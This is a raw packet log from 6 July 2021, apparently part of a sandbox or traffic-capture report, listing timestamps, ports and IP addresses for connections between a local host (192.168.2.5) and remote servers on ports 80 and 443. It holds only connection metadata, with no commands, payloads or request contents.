Jul 6, 2021 14:31:34.092000008 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092008114 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092034101 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092041016 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092067957 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092078924 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092107058 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092113018 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092144966 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092150927 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092178106 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092187881 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092214108 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092241049 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092250109 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092257977 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092273951 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092291117 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092314005 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092340946 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092354059 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092358112 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092385054 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092406988 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092418909 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092430115 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092451096 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092468023 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092498064 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092504978 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092530966 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092557907 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092585087 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092592955 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092622995 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092638969 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092653036 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092667103 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092683077 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092701912 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092713118 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092732906 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092750072 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092756033 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092782974 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092792034 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092820883 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092828035 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092860937 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092866898 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092895985 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092904091 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092931986 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.092940092 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.092989922 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:35.811136961 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:35.812844992 CEST	49818	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:36.623248100 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:36.623747110 CEST	49820	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.948158026 CEST	49821	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.960278034 CEST	49822	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.977930069 CEST	49824	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.977947950 CEST	49823	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.985215902 CEST	80	49821	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:37.985307932 CEST	49821	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.986078024 CEST	49821	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:37.998431921 CEST	80	49822	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:37.998506069 CEST	49822	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.014652967 CEST	80	49824	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.014765024 CEST	49824	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.014873981 CEST	80	49823	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.014949083 CEST	49823	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.015767097 CEST	49824	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.022737980 CEST	80	49821	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.043438911 CEST	80	49821	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.043467045 CEST	80	49821	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.043486118 CEST	80	49821	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.043509007 CEST	49821	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.043539047 CEST	49821	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.052556992 CEST	80	49824	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.079684973 CEST	80	49824	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.079704046 CEST	80	49824	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.079720974 CEST	80	49824	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:38.079782009 CEST	49824	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:38.079807043 CEST	49824	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:39.283284903 CEST	49821	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:39.283319950 CEST	49822	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:39.395756960 CEST	49823	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:39.396409035 CEST	49824	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:44.906285048 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.906685114 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.948504925 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.948677063 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.948790073 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.948832989 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.954428911 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.954679012 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.996634960 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.996695995 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997366905 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997380972 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997397900 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997427940 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997437954 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997452974 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:44.997596979 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:44.997661114 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.001288891 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.006442070 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.007102966 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.008157015 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.008164883 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.008390903 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.051724911 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.051748037 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052233934 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052263975 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052282095 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052318096 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.052344084 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.052356958 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052439928 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.052475929 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.052748919 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052838087 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.052958012 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.053059101 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.053179979 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.053200006 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.053299904 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.053428888 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.053625107 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.053647041 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.053764105 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.054338932 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:45.097846031 CEST	443	49826	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.097892046 CEST	443	49825	82.165.229.87	192.168.2.5
Jul 6, 2021 14:31:45.115742922 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.115747929 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.159991980 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.160037041 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.160187006 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.160253048 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.160685062 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.160732985 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.205781937 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.205800056 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206530094 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206547976 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206566095 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206582069 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206598043 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206619024 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.206701040 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.206710100 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.210220098 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.210221052 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.210572958 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.210583925 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.213753939 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.213788986 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.254523993 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.254692078 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.255161047 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.255237103 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.255249023 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.255307913 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.255357981 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.255361080 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.256164074 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.257957935 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.258778095 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.258796930 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.258816957 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.259414911 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.260092974 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.276146889 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276202917 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276220083 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276241064 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276257992 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276305914 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276323080 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276340961 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276357889 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276372910 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.276379108 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276392937 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276407003 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.276410103 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276413918 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.276431084 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276437998 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.276448965 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276469946 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276484013 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276498079 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.276572943 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.279180050 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.300482035 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.304375887 CEST	443	49827	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.428023100 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.428333044 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.495824099 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.496248960 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.497821093 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.497826099 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.498044014 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.498157024 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.566090107 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.566313028 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.586894989 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.586915970 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.586935997 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.587022066 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.587043047 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.587130070 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.587152004 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.587167978 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.587436914 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.591749907 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.591839075 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.592081070 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.594074011 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.594094038 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.648149967 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.650456905 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.658685923 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.658708096 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.658824921 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.658849955 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.659885883 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.661283016 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.661294937 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.661402941 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.661616087 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.662621975 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.662662983 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.679738998 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.679752111 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.679794073 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.679843903 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.680675030 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.680695057 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:45.721462011 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.734560013 CEST	443	49831	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.736463070 CEST	443	49832	142.250.180.206	192.168.2.5
Jul 6, 2021 14:31:45.857420921 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.902064085 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948750973 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948770046 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948787928 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948801041 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948812962 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948833942 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948843956 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948863029 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948874950 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948885918 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948896885 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948899984 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.948921919 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.948926926 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.948946953 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948957920 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948972940 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948983908 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.948985100 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.948992014 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:45.949039936 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.949052095 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:45.951464891 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.034866095 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.035031080 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.035034895 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.077364922 CEST	443	49835	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.077400923 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.077653885 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.077903032 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.079214096 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.079957962 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.079976082 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.082214117 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.082223892 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.104477882 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104535103 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104582071 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104628086 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104664087 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104688883 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.104693890 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104727030 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104753971 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.104768038 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104793072 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.104799032 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104830980 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104856014 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.104857922 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104887962 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104912996 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.104916096 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104945898 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.104970932 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.104975939 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.105010033 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.105050087 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.105071068 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.107542038 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.122168064 CEST	443	49835	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.122208118 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124124050 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124187946 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124229908 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124291897 CEST	443	49835	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124346972 CEST	443	49835	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124387026 CEST	443	49835	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.124393940 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.124463081 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.126552105 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.126662970 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.126735926 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.126760006 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.131709099 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.131742001 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.131742001 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.131748915 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.131771088 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.131776094 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.174828053 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.175157070 CEST	443	49835	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.175220966 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.175318003 CEST	49836	443	192.168.2.5	82.165.229.54
